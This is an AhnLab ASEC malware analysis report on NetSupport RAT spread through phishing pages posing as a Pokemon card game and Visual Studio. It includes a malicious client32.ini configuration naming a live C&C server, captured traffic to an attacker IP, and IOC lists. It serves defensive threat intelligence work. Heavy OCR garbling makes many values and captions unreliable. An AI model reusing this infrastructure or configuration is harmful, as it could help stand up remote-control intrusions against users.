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A CAUTION

This report contains a number of opinions given by the analysts based on the
information that has been confirmed so far. Each analyst may have a different
opinion and the content of this report

may change without notice if new evidence is confirmed.
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Overview

NetSupport Manager is a remote control tool that can be installed and used by ordinary or
corporate users for the purpose of remotely controlling systems. However, it is being abused
by many threat actors because it allows external control over specific systems.

Unlike backdoors and RATs (Remote Access Trojans), which are mostly based on command
lines, remote control tools (Remote Administration Tools) place emphasis on user-friendliness,
so they offer remote desktops, also known as GUI environments. Even though they may not
have been developed with malicious intent, if they are installed on infected systems, they can
be used for malicious purposes by threat actors, such as for the installation of additional
malware or information extortion.

As most remote control tools are used by countless users unlike other backdoors, it is easy
for them to be recognized as normal programs. Thus, they have the advantage of allowing
attackers to use remote control tools, which are normal programs, to bypass the detection of
security software, while simultaneously enabling domination over the infected system in a GUI
environment.

The following analysis report covers cases where various remote control tools such as
AnyDesk, TeamViewer, Ammyy Admin, and Tmate were used in attacks.
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Distribution of NetSupport RAT Malware
Disguised as a Pokemon Game

The ASEC analysis team recently found that the NetSupport RAT malware is being distributed
from a phishing page disguised as one for a Pokemon card game. Additionally, because it was
not distributed in a form used for normal purposes but rather in a form designed for the threat
actor to control the infected system, this blog will refer to it as “NetSupport RAT.” NetSupport
RAT has been consistently used by threat actors and is still in use even in recent days. It's
distributed via spam emails or phishing pages disguised as those for original programs.

The following is the phishing page disguised as one for a Pokemon card game, and you can
see the “Play on PC" button down below. When the user clicks this button to install the game,
instead of the Pokemon card game, NetSupport RAT is downloaded.

Figure 1. Forged Pokemon card game page

The downloaded file has both a disguised icon and version information, so users are prone to
mistaking this for a game program and running it.
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Figure 2. Malware disguised as a Pokemon card game

The malware is an installer malware developed with InnoSetup. When executed, it creates a
folder in the %APPDATA% path and creates hidden NetSupport RAT-related files before
executing them. It also creates a shortcut in the Startup folder, allowing the malware to be run
even after a reboot. client32.exe, the ultimately executed file in the process tree below, is the
NetSupport Manager client.

tPokemonBetaGame, exe (54520 PokemonBeta Setup W CRUzers A e, Downloads®PokemonBetaGame, exe
i PokemonBetaGame,tmp {3204y |Setup/Uninstall CHlUsersmpYy o 4ppData®local®TempWis-690U2 tmpWPokemonBetaGame, tmp
m client3z exe (956} NetSupport Client Application  Co#lUsers=Hrn@™appData® Roaming® s KPWIEWclient3z exe

Figure 3. Process tree of NetSupport RAT

While it could be said that the installed NetSupport-related programs themselves are normal
programs, we can see that the threat actor's C&C server address is included in the “client32.ini"
configuration file, as shown below. When NetSupport is executed, it reads this configuration
file, access and establishes a connection to the threat actor's NetSupport server, and then
allows the operator to control the infected system.
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o= & | client32.ini - Windows H2%
AudioCapture.dil ItEF HEE MAd0O) BN ST
client32.exe [Audio]
' client32.ini DisableAudioFilter=1
HTCTL32.DLL
rnsver1 00.dll [Eridge}
nskbfltr.inf Modem=
MEM.ini
NSM.LIC [General]
NSM_vpro.ini BeepUsingSpeaker=0
pcicapi.dll
PCICHEK.DLL [HTTP]
PCICL32.DLL CMPI=60
remcmndstub.exe GatewayAddress
TCCTL32.DLL GSK=FJ;A=FBJGI;A@CCD
Port=1488
SecondaryGateway=tradinghuy.duckdns.org:1488
SecondaryPort=1488

Figure 4. Installed NetSupport files and the configuration file

POST http://65.108.67.37/fakeurl.htm HTTP/1.1
User-Agent: NetSupport Manager/1.3
Content-Type: application/x-wwnw-form-urlencoded
Content-Length: 22
Host: ©£5.108.67.37
Connection: Keep-Alive

CMD=POLL

INFO=1

ACK=1

HTTP/1.1 288 OK

Server: MNetSupport Gateway/1.7 (Windows NT)
Content-Type: application/x-wwe-form-urlencoded
Content-Length: 6l
Connection: Keep-Alive

CMD=ENCD

ES=1

DATA=.g+%. ~ - e [ = W
POST http://65.1088.67.37/fakeurl.htm HTTP/1.1
User-Agent: NetSupport Manager/1.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 258
Host: 65.188.67.37
Connection: Keep-Alive

Figure 5. Packet data of NetSupport RAT
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While relevant files were being examined with our ASD (AhnLab Smart Defense)
infrastructure and VirusTotal, we identified a different phishing page with the same format
as a fake Pokemon card game page. Each phishing page has been distributing multiple
NetSupport RAT Dropper malware since around December 2022. Moreover, while the files
themselves are all different, they all include the same C&C server address in the
“client32.ini" configuration file.

Among the ones uploaded to VirusTotal, there were malware samples with icons disguised
as Visual Studio, and just like the original program, NetSupport RAT is installed in the
path %APPDATA%WDeveloperw. From this, we can infer that the threat actor is using
normal programs other than the Pokemon game to distribute malware.

» AppData » Roaming » Developer v O ~ Developer 84
o= B = B % 27|
AudioCapture.dll B Resource Hacker - sourcesdf.exe = O X
L client32.exe File Edit View Action Help Icon - 100 : 1033
client32.ini 0Tl W . e Dialog
i ] ) . i
e |0 01 B4 e B 0| QU mE
msver100.dll .
) v ..... .‘,-‘ con
nskbfltr.inf { iyl 100 ;1033
MEM.ini » | String Table
NSM.LIC > -\l RCData
e M F | Icon Group
TEHEVEIE . | Version Info
pcicapi.dll » - Manifest
PCICHEK.DLL
PCICL32.DLL
| rermcmdstub.exe
TCCTL32.DLL

Figure 6. NetSupport RAT dropper disguised as Visual Studio

There was also a type that creates the file “csvs.exe” disguised as a normal Windows
program, svchost.exe, instead of installing the NetSupport client, “client32.exe” in the
installation directory. While the icon and file size are different, the internal routine or PDB
information shows that this is a “client32.exe” file modified by the threat actor to bypass
detection.
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» AppData » Roaming » Pentatonix v O O Pentatonix 345
~
= % covs.exe L/ ¥
AudioCapturedll oist sz mor  KHME  OjF HiA
client32.ini
T covsexe & A z}
HTCTL32.DLL -
msver1 00.dll -
nskbfltr.inf on ocg oz
NSM.ini o HMA  13.36.111
MEM.LIC HMEZ 0|2  svschost
nsm_vpro.ini HEHAE wvi1210
pcicapi.dll HEA Copyright 2022 Microsoft Corp
PCICHEK.DLL = 25.5KB
PCICL32.DLL THSH YR 2021-05-11 2% 2:32
remcmdstub.exe o] SUE=
resistance.dl|
TCCTLI2.DLL

Figure 7. client32.exe seen to have been modified by the threat actor

NetSupport RAT is being used by various threat actors. Major cases show that they are
recently being distributed through spam emails disguised as those for invoices, shipment
documents, and purchase orders.| 1] Additionally, in the second half of the year, there was
a case where users were led to install the malware themselves from a phishing page
disquised as an update page for a software called SocGholish.

When NetSupport RAT is installed, the threat actor can gain control over the infected
system. Features supported by NetSupport by default include not only remote screen
control but also system control features such as screen capture, clipboard sharing,
collecting web history information, file management, and command execution. This means
that the threat actor can perform various malicious behaviors such as extorting user
credentials and installing additional malware.
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Figure 8. Features supported by NetSupport

Recently, threat actors have been abusing remote control tools used by various users such
as NetSupport in their attacks. When infected with such remote control malware, the
system is overtaken by the threat actor and becomes subject to damages such as
information extortion and additional malware installation.

When installing externally sourced software, users are advised to purchase or download
them from their official websites and refrain from opening attachments in suspicious
emails. Users should also apply the latest patch to programs such as their OS and internet
browsers and update V3 to the latest version to prevent malware infection in advance.

File Detection

- Dropper/Win.NetSupport.C5345365 (2022.12.30.01)
- Malware/Win.Generic.C5339867 (2022.12.23.03)

- Malware/Win.Generic.C5335414 (2022.12.17.01)

- Malware/Win.Generic.C5333592 (2022.12.15.01)

- Malware/Win.Malware-gen.C5331507 (2022.12.13.02)
- Trojan/Win.NetSupport.C5345361 (2022.12.30.01)

- Backdoor/Text.NetSupport (2022.12.30.02)

10C

MD5

- 097051905db43d636c3f71f3b2037e02 : NetSupport RAT dropper
(PokemonBetaGame.exe)

- 1dc87bfb3613d605c9914d11a67e2c94 : NetSupport RAT dropper disguised as a
Pokemon card game

- 5e6b966167c7fd13433929e774f038ee : NetSupport RAT dropper disguised as a
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Pokemon card game

- a9dba73b0cf1c26008fc9203684c6c22 : NetSupport RAT dropper disguised as a
Pokemon card game

- adbe1069f82a076c48f79386812c1409 : NetSupport RAT dropper disguised as a
Pokemon card game

- fcdc884dd581701367b284ad302efe4d : NetSupport RAT dropper disquised as a
Pokemon card game

- ed68e69534ebdf6c8aa1398da032c147 : NetSupport RAT dropper disguised as Visual
Studio (source.sdf)

- €7792e09b0283b87b9de37b3420f69d5 : NetSupport RAT dropper disguised as a
Pokemon card game (creates csvs.exe)

- 7ca97fe166c4d8a23d7d9505d9fcc1cO : Patched client32.exe (csvs.exe)
-59048c3248025a7d4c7c643d9cf317a5 : NetSupport configuration file (client32.ini)

- f26b26f6d29a4e584bd85f216b8254b9 : NetSupport configuration file (client32.ini)

C&C
- tradinghuy.duckdns[.]Jorg: 1488

Phishing Page
- hxxps://pokemon-gol[.]io/
- hxxps://beta-pokemoncardsl.Jio/

Download

- hxxps://pokemon-gol[.]io/PokemonBetaGame.exe

- hxxps://beta-pokemoncards|.]io/PokemonCardGame.exe
- hxxps://beta-pokemoncards[.]io/PokemonBetaCard.exe
- hxxps://beta-pokemoncards|.]io/PokenoGameCard.exe
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Tel : #8231 7228000 | Fax:+82317228901

https://www.ahnlab.com

https://www.asec.ahnlab.com/en

More security, More freedom

220, Pangyoyeok-ro, Bundang-gu, Seongnam-si, Gyeonggi-do, Korea

About ASEC

AhnLab Security Emergency Response Center(ASEC), through our
team of highly skilled cyber threat analysts and incident
responders, delivers timely and accurate threat intelligence and
state-of-the-art response on a global scale. ASEC provides the
most contextual and relevant threat intelligence backed by our
groundbreaking research on malware, vulnerabilities, and threat
actors to help the global community stay ahead of evolving cyber-
attacks.

About AhnLab

AhnLab is a leading cybersecurity company with a reliable
reputation for delivering advanced cyber threat intelligence and
threat detection and response (TDR) capabilities with cutting-edge
technology. We offer a cybersecurity platform comprised of
purpose-built products securing endpoint, network, and cloud,
which ensures extended threat visibility, actionable insight, and
optimal response. Our best-in-class researchers and development
professionals are always fully committed to bringing our security
offerings to the next level and future-proofing our customers’
business innovation against cyber risks.



